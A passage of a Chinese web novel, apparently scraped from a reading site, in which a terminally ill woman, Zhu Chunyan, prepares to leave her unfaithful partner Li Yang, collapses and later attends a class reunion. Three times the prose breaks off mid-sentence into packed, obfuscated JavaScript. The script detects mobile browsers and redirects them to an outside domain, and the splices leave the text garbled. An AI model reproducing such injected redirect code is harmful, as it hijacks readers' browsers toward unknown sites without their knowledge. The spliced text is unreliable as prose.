黎漾这才满意了，亲了她一口，“你明明记得我今天会来大姨妈不想和我做怎么不告诉我？不然我就不会凶你了。” “想让你长长记性，我不可能每次都在你身边。” “你这话怎么说得要和我生离死别似的？”黎漾疑惑看她一眼，没察觉出不妥，“你不太对劲。” “睡吧。”祝春宴不敢和她说太多，生怕自己继续和她说下去可能会露馅，反正……她给不了她幸福，又何必让她困惑？ 黎漾被这样闹了一通又是累了一天早就累了，见祝春宴不想说也不强迫。 而且，她都和祝春宴在一起7年了，认识了11年，这11年来自然也有争吵和冷战的，但是总体来说都是相处得很愉快的，祝春宴根本不可能离开她。 说句难听的，祝春宴早已经被她驯服，她不可能离开她的。 即使某一天她不想要她了，她也只会忠心地粘着她，企图软化她，而不会选择离开她。 她就算要死，都只能死在她身边。 所以分手什么的，她只是想一想罢了。 祝春宴一直帮她按摩着肚子，黎漾的痛经在这之前还一直挺严重的，那次重病之后尤其这样。 祝春宴不忍她这般难受，专门去学习了一些中医推拿以及按摩，还将四物汤的用法给学了回来督促她喝去改善身体。 一开始黎漾还不容易，后来她陪着她一直喝下来她才肯去喝。 真的是一个任性的人啊。但是她其实也有任性的资格。 祝春宴一直等她熟睡了才放开她让她好好睡觉，她则是去了她的小书房继续记录和做她们的七周年纪念手账。 幸而黎漾要出一个长差，这样她也能有足够的时间和她好好做一个告别。 祝春宴心情很平静丝毫没有怨怼，如同一个诗人，以最浪漫的心态去等待属于她的最后一场……也是唯一一场葬礼。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262418|182117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >后天，黎漾很早就出发了，这一天也是祝春宴小姨的忌日，她去了墓地祭祀她，自然是错开了和她姨父还有女儿来祭拜的时间。 如果不是她阿姨突然患病或许姨父不会将她父母给她的生活费和赡养费都提前花光，她的姨父也不会染上赌博这样的恶习，或许她还能心平气和地和他们说上几句话。 只可惜，这一切都毁于一场绝症。 秋天已经很深了，她站在墓前静静地看着小姨的遗像，良久无言。 想起她的母亲死在异国他乡而她来不及去见她最后一面，现如今她也快要死了，时间……好像过得真的快啊。 不过祝春宴选择不下葬，要么将自己的遗体贡献出去做研究，要么就烧成灰撒遍大好河山，去看看这个世界是多美好的。 “小姨，你很久之前给我求的平安符好像没太大用呢，我也……成为你们的一份子，只是希望多活一些时日去做一些让我死时少点遗憾的事情，这样我也能安心了。” “……希望我死的时候也别变得这么难看吧，不然真的要吓着人了。”虽然黎漾大概率是看不见她。 她絮絮叨叨地说了一会儿话，也不知道说了多久，最后还是走向自己的车。 她今天还是自己开车来，只是还未打开车门，看见手机给她推送了一条信息，远在欧洲少女峰，黎漾和程素熙像是一起旅游被发现。 她们手腕上分别戴着那一款限量版的爱马仕情侣表，正对着彼此笑得开心，似有情意流露。 祝春宴良久地看着，突然察觉眼前一阵晕眩，肺部一阵剧痛，双手肌肉震颤个不停根本止不住。 她重重呕了一口血来，喷到车玻璃上，像烟花被爆破的瞬间，逐渐模糊了她的视线—— 她悄无声息地晕了过去，秋叶渐渐堆积在她周遭，如同无法越冬濒死的候鸟，无人发现。 21. 第 21 章 · “祝春宴，你还在这里干什么？我一个小时前已经让你去休息睡觉了，怎么我现在查完房回来你还在这里搞东搞西的，是不是又想多住一次ICU？” 青桐市省人民医院5楼的高级病房里，傅意安刚查完房回来看见祝春宴病房里的灯光还亮着，气得她要命，心里又是后怕。 天知道她将近10天前在楼下急救看见自己的好朋友躺在急救架上不省人事，唇边还有血迹是什么感觉？ 现在好不容易从鬼门关里回来又是不珍惜自己的身体，大半夜的在……在做手账，她是更加气了。 “别这么生气，死不了，也别咒我。”祝春宴气色看上去比10天前反倒是好了点，抬头看了傅意安一眼，看着精神还好，甚至能从她的脸上读出几分高兴。 当然了，她认识祝春宴这么久极少从她脸上看见忧愁和苦恼，无论遇到多大多难的事情。 她这般看着她心里的火气又是降了点了，甚至是说根本不舍得再对她发火，再想起祝春宴的身体状况……她心下一黯，更加不忍心对她说一句重话了。 “你这个手账……都已经做了很久了还没有做好么？” 傅意安看着祝春宴手底下的精致手账，里面有很多机关，每个机关都暗藏玄机，将她和黎漾这七年来的点点滴滴都纳入其中，光是看着都让人觉得惊喜。 这份心意……真的是沉甸甸的。 可是傅意安没记错的话，祝春宴之前突发疾病是因为受了黎漾的刺激，她看见黎漾和程素熙同游欧洲还戴着情侣表。 而她孤零零地去祭祀，还是去探望和她一样有遗传病死了的小姨……这样的刺激谁又能承受得住？ 而且，祝春宴住院都快10天了！她的个别同事知道她出事了也来看她了，可是黎漾呢？一条短信都没有！真的是乐不思蜀啊！ “快了，今晚就做好了。”祝春宴很享受做手账的这个过程，各种机关的设计十分有趣，做着做着好像都能忘记自己在生病，也能忘记她和黎漾之间这样不上不下的关系，是真的能乐在其中。 祝春宴和黎漾在一起的这七年其实牺牲了很多的个人爱好，黎漾不喜欢她做什么她就不做，但是黎漾希望她做什么她就重拾回来，即使自己再讨厌。 幸而做手工这个在春雨时候也是经常要做的，不少小朋友需要大量图画和玩具去引导，所以这种麻烦又细致的习惯她才得以保留下来。 现在陆陆续续做了10天终于将这个七周年纪念日的手账做出来，她打心里高兴。 “春宴……黎漾的事情……你真的不介意？”傅意安觉得祝春宴这10天实在是太平静了，平静得让她觉得不对劲。 她很怕她会做什么傻事。 “怎么可能不介意？”祝春宴不是没脾气的人，她也会吃醋也会伤心也会失望，即使她的情绪并不外露。 “可是，”她抬头看向傅意安，有些无奈，“我介意又有什么用？我活不了多久了，我是一个没有未来的人，但黎漾还有大把的人生。” “那也不是她能劈腿的理由！” 傅意安忍不住了，眼眶红得厉害，“你可别以为我不知道你在ICU里的时候也天天想着她，想得都睡不着觉，前几天还天天看有没她的推送，想要打给她都不知道想了多少次偏要自己和自己倔着，她凭什么这样吊着你？就因为你喜欢她么？！” “……给我点面子，不要都抖出来。”祝春宴神情还是平静，似乎自己的女朋友和别人双宿双栖了对她而言并不是什么大事，甚至还能笑着祝福她们。 “给不了一点儿。” “七周年纪念日她会回来的，那天正好是同学聚会，我和她之间的事情也会处理好告一段落的。”祝春宴反倒过来安慰她。 “难道你就舍得？”傅意安其实对祝春宴如此无私的做法不敢苟同，皱了眉看向她，觉得她根本不能这样。 凭什么黎漾身体不舒服的时候是祝春宴寸步不离照顾她？而现在祝春宴病了她却是不闻不问还和别人在一起有说有笑？这凭什么！ 她就应该来好好照顾祝春宴，将以往的一切都偿还给她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262419|182117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不舍得也没办法，我之后会变得很丑，我不想她对我的最后印象是瘫在轮椅里动弹不得哪里都不能去，这样实在是太窝囊了。” “你啊……”傅意安不好再劝说了，只是还是心酸，面对现在这样的情况和祝春宴这样的性格，她只能尽她所能好好稳住她的病情，其他的……她根本管不了。 “好了，时间不早了，我也要去休息了。”祝春宴说着便开始收拾桌面上的东西了，她忙了十来天终于将手账给做好了，之后再做一些调整就没有多大问题，能准备别的了。 她其实也在想，之前准备的和黎漾出去旅行过纪念日的计划彻底无法实施，如此，还是……给她送别的更宝贵的东西吧。 “我要看着你睡我再离开。”今晚是傅意安值班，她实在是不放心祝春宴，她都宁愿她将心里的火气给发泄出来而不是这样藏着掖着。 “好，辛苦你了傅医生。”祝春宴的速度很快，一下子就将东西给收拾好了，然后便躺了下来盖好被子：“我现在这样够听话了吧？” “今晚都要一直这么听话，好梦。”傅意安看着她这副模样蓦然心软，愈发觉得黎漾该死，她不配得到这么好的祝春宴。 傅意安离开了，祝春宴脸上的笑容才完全褪去，病房里只有她一个人，是她自己要求的，毕竟，一旦病人多了见多了生离死别她怕自己撑不下去。 而且她也需要一个安静的环境去思考自己余下的人生该如何愉快地度过。 一个没有黎漾的余下的人生。 祝春宴看着手机屏幕，现在应该是黎漾那边的早晨，她应该起床了，不知道会不会记得好好吃早餐，也不知道……程素熙会不会好好照顾她。 她眼睁睁地看着手机屏幕上的时间跳到0点，距离黎漾国外出差总共过了14天，整整两周，一条短信一个电话都没有，她仿佛被她彻底遗忘在荒野之中。 祝春宴闭上眼睛，深呼吸一口气，心里已经做好最后决定。 只是黑暗之中，已然有一滴晶莹的泪滑落鬓发，悄然无踪。 22. 到文案 · 又是数天过去，同学聚会。 班级群格外热闹，万年潜水的同学都出来说话了，聊得最多的还是黎漾和祝春宴，还有孟知虞。 傅意安一条都不想看，祝春宴也没怎么看，她最近正忙着呢。 傅意安今天上早班，打算去将祝春宴给接上，她前天出院了，情况还算稳定，看着又好像没事人那般了。 但傅意安知道的是，祝春宴的情况……比想象中要糟糕。 不论祝春宴是否在意，她都开了一盒利鲁唑给她，即使只能短暂延长她的寿命，总好过没。 在去接她之前，她原以为她还住在黎漾那里，没想到……她真的决绝，2天时间就直接从黎漾那里搬出来了。 怪不得这两天如此忙碌。 基本上，所有属于她的东西都搬了出来，黎漾给她送的她一律没有带走，就连她们二人共同养的狗勾她都没有带走……怎么舍得？ 可是，不舍得也得舍得，祝春宴患病之后不可能照顾这只小狗了。 留给黎漾不是因为不喜欢，而是因为带不走。 傅意安觉得她傻，都被黎漾戏耍到这个地步，她还不报复她……起码要在她的家到处留痕，让黎漾去哪里都能看见她留下的东西却是看不见她，气死她！ 祝春宴被她逗笑，笑着笑着又是剧烈地咳嗽起来，最终还是咳出了血。 傅意安不敢再说了，完全慌了神，又有谁想成为自己好朋友的主治医生？ 看着她的生命一步步地走到尽头……她心里扯着难受。 “放心，虽然我留不了痕，但我不会让她找到我，能不能气死她不知道，可我……总算能和她有始有终，好聚好散。” 祝春宴的确早有准备，重新在别的黎漾可能90%找不到她的地方租了房，甚至还买下了一套房，到时候去哪里住都可以。 这让傅意安也是唏嘘。 祝春宴……这次真的是被黎漾伤透了吧？ 即使祝春宴……在她面前一滴泪都没有流，平静到仿佛……只是解决了一件微不足道的小事那般。 * 12月初已经是初冬了，天气也阴沉沉的，看着人心里是真的不舒服，傅意安总觉得今天的同学聚会不会太顺利。 有些愁。 祝春宴很快从楼上下来，手里还提着一袋东西，看着……情况很不好，即使她竭力让自己看上去健康、自在。 然而用力过度就会显得刻意，虽然她穿得还是很好看，惹人眼球。 她今天穿得并没有太职业化，甚至烫了个和她风格完全不相符的小羊卷，外穿重工墨染夹克，深棕粉渐变色。 明明不是让人眼前一亮的颜色，但穿在她身上格外打眼，脸上轮廓更显深邃。 里穿一条雾霾蓝和深红拼接的长裙，右边锁骨位置挖空，露出的一截锁骨白得耀眼，如脂玉。 蹬一双中筒鞋，更显她的身形高挑清冷。 她整个人给人的感觉犹如清晨的雾气，仿佛一吹就要散了。 傅意安一想到这点眼里的惊艳便淡了下去，这么好的人……居然患上那样的病，在这样的时候爱人却是变心，实在让人愤懑。 而她……身为她的主治医生和好朋友，居然只能一点点地看着她去死。 “等很久了？” 祝春宴很快上了车，身上一阵淡香传来，却让傅意安心里对黎漾的火更多几分。 但是她分得清轻重，仍旧对她笑了笑，将她妈妈给祝春宴煲的靓汤拿了出来让她喝完再出发：“滋补的，你能喝。” 祝春宴无法推脱，接过来对她笑了笑：“多谢阿姨了，改日我给她做牛轧糖。” “你明明都不喜欢进厨房，别勉强自己，随便给她买点就好。” “不要紧，反正也没几次机会了。” “……” 傅意安心里很不是滋味，侧头擦了擦泪，努力去镇定情绪。 她等祝春宴将汤喝完便载着她去同学聚会的地方，这期间祝春宴频繁看手机，表情也不是很好，让傅意安多嘴问了句：“黎漾还没回来？” “应该回了但是没空回复我。”祝春宴说完又刷新了一下群：“到了，在群里看见她的照片了。” 她几乎不敢点开群里那张属于黎漾的照片，是和她的初恋孟知虞拍的，犹豫了一会儿最终还是关掉没去看。 傅意安瞥了她一眼，没说话，心里暗叹，对黎漾的怒火节节上升。 这次同学聚会不是在邮轮上举行，主要是天气冷了，还是在会所里会比较好，去会所的路上也是比较塞车，到达的时候已经7点多了。 群里发出来的信息看着已经嗨了一波了，傅意安停好了车和祝春宴上去，听见她咳了几声又是心疼，“没事吧？” “没事，死不了。”只是收起的帕子里多了一点猩红。 然而，她刚说完，还是忍不住那般，又是带起了撕心裂肺的一阵咳嗽。 祝春宴似乎是忍到了极点，也是痛苦到了极点，还未到聚会的地点便冲出了电梯找到了卫生间，甚至连门都来不及锁，这才肆无忌惮地猛烈呛咳出声。 炽烈的灯光打照在她的头顶，让她整个人犹如在烈日下被炙烤，偏偏她的身体是冷的、心是冷的，感受不到任何的温暖。 即使是烈日也好，暖一暖她可以么…… 她咳得近乎虚脱，帕子彻底染上了猩红，根本不能再用。 祝春宴的双手、下颌都染上了鲜血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262420|182117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，犹如对她的审判，似在嘲笑她为什么连这点打击都忍受不了？ 这也只是死神……刚开始的第一步，还有很多很多……谁又能抵挡得住？ “叮——” 她的手机响了，她无力去翻看，傅意安一直呆在外面等着她，她无法帮她什么，听着她的咳嗽声也极其煎熬难受。 看她终于开门出来，止不住地担忧：“要不……” “不，最后一次了，还是去吧。”祝春宴满身疲惫，声音都沙哑了，但她在走出卫生间之前还是努力打起精神，继续去乘坐电梯。 “春宴，焉令辞……是不是找你了？”傅意安跟在她身边，看着她犹如飘在半空中的虚浮步伐，决定还是找一些话题分开她的注意力。 “……没留意。”祝春宴闪了闪神，忽而发现“焉令辞”这个姓名好像很久都没听见过了。 “你不是想看极光么？她说给你发了，她一时半刻回不来，同学聚会也参加不了，如果有人问起让你帮她说一声。” “嗯……好。”良久，祝春宴才缓慢回复了两个字，含糊不清，傅意安侧头看她，看见她正咬紧了唇，竭力忍住颤意，不去哭泣。 “春宴……”傅意安看不下去，“我们骂黎漾一顿吧！我们骂她一顿好不好！再打她一顿！再打她一顿好不好！” “别惩罚自己！别惩罚自己！你的身体和健康才是最重要的！” “你骂不下去你不想打，我帮你！我帮你！出事了都算我的！” 祝春宴顿住了脚步，抹了抹泪：“意安啊，你说……我只是想一段感情完美地有始有终而已……我……我也不打算占据她多少时间和人生，我只是想好好和她道个别而已，为什么……也这么难？” “她已经……很多天很多天没来找我了，一个标点符号都没有给我发。” “我都怀疑自己……是不是被她拉黑了。” “可我……还是要去见她一面，最后一面，将礼物交给她……我就觉得这段感情圆满了，不留遗憾。” “但你在痛——你在痛啊！” “都……痛了这么多次了，不在乎这最后一次了。” …… 聚会的包厢在22楼，这还是黎漾集团旗下的，祝春宴之前来过几次。 傅意安欲言又止，祝春宴神游物外，仿佛这样才能让自己继续坚持下去。 她一时半刻没留意傅意安的表情，直至到了包厢外她才回过神来，“怎么了？” 傅意安看着祝春宴唇角还没擦干净的血迹刚想出声提醒她，却是听见包厢里黎漾玩世不恭甚至带了点嫌恶的声音传来：“噢，你说祝春宴啊，我都后悔死了，她这人太过无趣，任何时候都不会主动，包括在床上——”